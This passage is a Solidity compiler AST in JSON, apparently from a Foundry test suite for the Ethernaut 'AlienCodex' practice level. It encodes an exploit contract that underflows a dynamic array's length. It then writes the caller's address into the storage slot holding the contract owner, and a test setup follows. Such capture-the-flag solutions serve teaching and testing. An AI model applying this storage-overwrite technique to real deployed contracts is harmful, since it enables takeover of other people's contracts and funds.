","nameLocation":"294:10:121","scope":59119,"usedErrors":[],"usedEvents":[]},{"id":58946,"nodeType":"ContractDefinition","src":"467:381:121","nodes":[{"id":58945,"nodeType":"FunctionDefinition","src":"500:346:121","nodes":[],"body":{"id":58944,"nodeType":"Block","src":"549:297:121","nodes":[],"statements":[{"assignments":[58892],"declarations":[{"constant":false,"id":58892,"mutability":"mutable","name":"instance","nameLocation":"570:8:121","nodeType":"VariableDeclaration","scope":58944,"src":"559:19:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"},"typeName":{"id":58891,"nodeType":"UserDefinedTypeName","pathNode":{"id":58890,"name":"AlienCodex","nameLocations":["559:10:121"],"nodeType":"IdentifierPath","referencedDeclaration":58885,"src":"559:10:121"},"referencedDeclaration":58885,"src":"559:10:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"visibility":"internal"}],"id":58896,"initialValue":{"arguments":[{"id":58894,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58887,"src":"592:15:121","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58893,"name":"AlienCodex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58885,"src":"581:10:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_AlienCodex_$58885_$","typeString":"type(contract AlienCodex)"}},"id":58895,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"581:27:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"nodeType":"VariableDeclarationStatement","src":"559:49:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58897,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58892,"src":"618:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":58899,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"627:11:121","memberName":"makeContact","nodeType":"MemberAccess","referencedDeclaration":58869,"src":"618:20:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58900,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"618:22:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58901,"nodeType":"ExpressionStatement","src":"618:22:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58902,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58892,"src":"650:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":58904,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"659:7:121","memberName":"retract","nodeType":"MemberAccess","referencedDeclaration":58877,"src":"650:16:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58905,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"650:18:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58906,"nodeType":"ExpressionStatement","src":"650:18:121"},{"assignments":[58908],"declarations":[{"constant":false,"id":58908,"mutability":"mutable","name":"codexZeroIndex","nameLocation":"686:14:121","nodeType":"VariableDeclaration","scope":58944,"src":"678:22:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":58907,"name":"uint256","nodeType":"ElementaryTypeName","src":"678:7:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":58918,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"hexValue":"31","id":58914,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"732:1:121","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":58912,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"721:3:121","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":58913,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"725:6:121","memberName":"encode","nodeType":"MemberAccess","src":"721:10:121","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":58915,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"721:13:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":58911,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"711:9:121","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":58916,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"711:24:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":58910,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"703:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58909,"name":"uint256","nodeType":"ElementaryTypeName","src":"703:7:121","typeDescriptions":{}}},"id":58917,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"703:33:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"678:58:121"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":58930,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":58928,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":58924,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"767:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58923,"name":"uint256","nodeType":"ElementaryTypeName","src":"767:7:121","typeDescriptions":{}}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"id":58922,"name":"type","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-27,"src":"762:4:121","typeDescriptions":{"typeIdentifier":"t_function_metatype_pure$__$returns$__$","typeString":"function () pure"}},"id":58925,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"762:13:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_magic_meta_type_t_uint256","typeString":"type(uint256)"}},"id":58926,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"776:3:121","memberName":"max","nodeType":"MemberAccess","src":"762:17:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":58927,"name":"codexZeroIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58908,"src":"782:14:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"762:34:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"31","id":58929,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"799:1:121","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"762:38:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"arguments":[{"arguments":[{"arguments":[{"expression":{"id":58937,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"826:2:121","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":58938,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"829:6:121","memberName":"origin","nodeType":"MemberAccess","src":"826:9:121","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58936,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"818:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":58935,"name":"uint160","nodeType":"ElementaryTypeName","src":"818:7:121","typeDescriptions":{}}},"id":58939,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"818:18:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":58934,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"810:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58933,"name":"uint256","nodeType":"ElementaryTypeName","src":"810:7:121","typeDescriptions":{}}},"id":58940,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"810:27:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":58932,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"802:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":58931,"name":"bytes32","nodeType":"ElementaryTypeName","src":"802:7:121","typeDescriptions":{}}},"id":58941,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"802:36:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":58919,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58892,"src":"746:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":58921,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"755:6:121","memberName":"revise","nodeType":"MemberAccess","referencedDeclaration":58884,"src":"746:15:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$_t_bytes32_$returns$__$","typeString":"function (uint256,bytes32) external"}},"id":58942,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"746:93:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58943,"nodeType":"ExpressionStatement","src":"746:93:121"}]},"functionSelector":"0aeb4ddf","implemented":true,"kind":"function","modifiers":[],"name":"exploit","nameLocation":"509:7:121","parameters":{"id":58888,"nodeType":"ParameterList","parameters":[{"constant":false,"id":58887,"mutability":"mutable","name":"instanceAddress","nameLocation":"525:15:121","nodeType":"VariableDeclaration","scope":58945,"src":"517:23:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":58886,"name":"address","nodeType":"ElementaryTypeName","src":"517:7:121","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"516:25:121"},"returnParameters":{"id":58889,"nodeType":"ParameterList","parameters":[],"src":"549:0:121"},"scope":58946,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"AlienCodexExploit","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[58946],"name":"AlienCodexExploit","nameLocation":"476:17:121","scope":59119,"usedErrors":[],"usedEvents":[]},{"id":59118,"nodeType":"ContractDefinition","src":"850:1603:121","nodes":[{"id":58953,"nodeType":"VariableDeclaration","src":"895:19:121","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"905:9:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":58952,"nodeType":"UserDefinedTypeName","pathNode":{"id":58951,"name":"Ethernaut","nameLocations":["895:9:121"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"895:9:121"},"referencedDeclaration":49101,"src":"895:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":58956,"nodeType":"VariableDeclaration","src":"920:19:121","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"931:8:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"},"typeName":{"id":58955,"nodeType":"UserDefinedTypeName","pathNode":{"id":58954,"name":"AlienCodex","nameLocations":["920:10:121"],"nodeType":"IdentifierPath","referencedDeclaration":58885,"src":"920:10:121"},"referencedDeclaration":58885,"src":"920:10:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"visibility":"internal"},{"id":58958,"nodeType":"VariableDeclaration","src":"946:21:121","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"962:5:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":58957,"name":"address","nodeType":"ElementaryTypeName","src":"946:15:121","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":58960,"nodeType":"VariableDeclaration","src":"973:22:121","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"989:6:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":58959,"name":"address","nodeType":"ElementaryTypeName","src":"973:15:121","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":59063,"nodeType":"FunctionDefinition","src":"1182:618:121","nodes":[],"body":{"id":59062,"nodeType":"Block","src":"1206:594:121","nodes":[],"statements":[{"assignments":[58965],"declarations":[{"constant":false,"id":58965,"mutability":"mutable","name":"users","nameLocation":"1241:5:121","nodeType":"VariableDeclaration","scope":59062,"src":"1216:30:121","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":58963,"name":"address","nodeType":"ElementaryTypeName","src":"1216:15:121","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58964,"nodeType":"ArrayTypeName","src":"1216:17:121","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":58969,"initialValue":{"arguments":[{"hexValue":"32","id":58967,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1261:1:121","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":58966,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"1249:11:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":58968,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1249:14:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"1216:47:121"},{"expression":{"id":58974,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58970,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1274:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":58971,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58965,"src":"1282:5:121","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":58973,"indexExpression":{"hexValue":"30","id":58972,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1288:1:121","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1282:8:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1274:16:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58975,"nodeType":"ExpressionStatement","src":"1274:16:121"},{"expression":{"arguments":[{"id":58979,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1309:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":58980,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1316:7:121","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":58976,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1300:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58978,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1303:5:121","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1300:8:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":58981,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1300:24:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58982,"nodeType":"ExpressionStatement","src":"1300:24:121"},{"expression":{"id":58987,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58983,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"1335:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":58984,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58965,"src":"1344:5:121","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":58986,"indexExpression":{"hexValue":"31","id":58985,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1350:1:121","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1344:8:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1335:17:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58988,"nodeType":"ExpressionStatement","src":"1335:17:121"},{"expression":{"arguments":[{"id":58992,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"1371:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":58993,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1379:8:121","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":58989,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1362:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58991,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1365:5:121","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1362:8:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":58994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1362:26:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58995,"nodeType":"ExpressionStatement","src":"1362:26:121"},{"expression":{"arguments":[{"id":58999,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1413:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58996,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1399:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58998,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1402:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1399:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59000,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1399:20:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59001,"nodeType":"ExpressionStatement","src":"1399:20:121"},{"expression":{"id":59006,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59002,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"1429:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":59004,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1468:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59003,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1441:26:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":59005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1441:33:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"1429:45:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59007,"nodeType":"ExpressionStatement","src":"1429:45:121"},{"assignments":[59010],"declarations":[{"constant":false,"id":59010,"mutability":"mutable","name":"factory","nameLocation":"1497:7:121","nodeType":"VariableDeclaration","scope":59062,"src":"1484:20:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":59009,"nodeType":"UserDefinedTypeName","pathNode":{"id":59008,"name":"DummyFactory","nameLocations":["1484:12:121"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"1484:12:121"},"referencedDeclaration":52145,"src":"1484:12:121","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":59016,"initialValue":{"arguments":[{"arguments":[{"hexValue":"416c69656e436f646578466163746f7279","id":59013,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1534:19:121","typeDescriptions":{"typeIdentifier":"t_stringliteral_d8cae27c4fc8775677c1950dee0995ac0896d810e6d095e57c0126c66a6f1f35","typeString":"literal_string \"AlienCodexFactory\""},"value":"AlienCodexFactory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d8cae27c4fc8775677c1950dee0995ac0896d810e6d095e57c0126c66a6f1f35","typeString":"literal_string \"AlienCodexFactory\""}],"id":59012,"name":"getOldFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66672,"src":"1520:13:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory) returns (address)"}},"id":59014,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1520:34:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59011,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"1507:12:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DummyFactory_$52145_$","typeString":"type(contract DummyFactory)"}},"id":59015,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1507:48:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"1484:71:121"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":59023,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59010,"src":"1603:7:121","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract 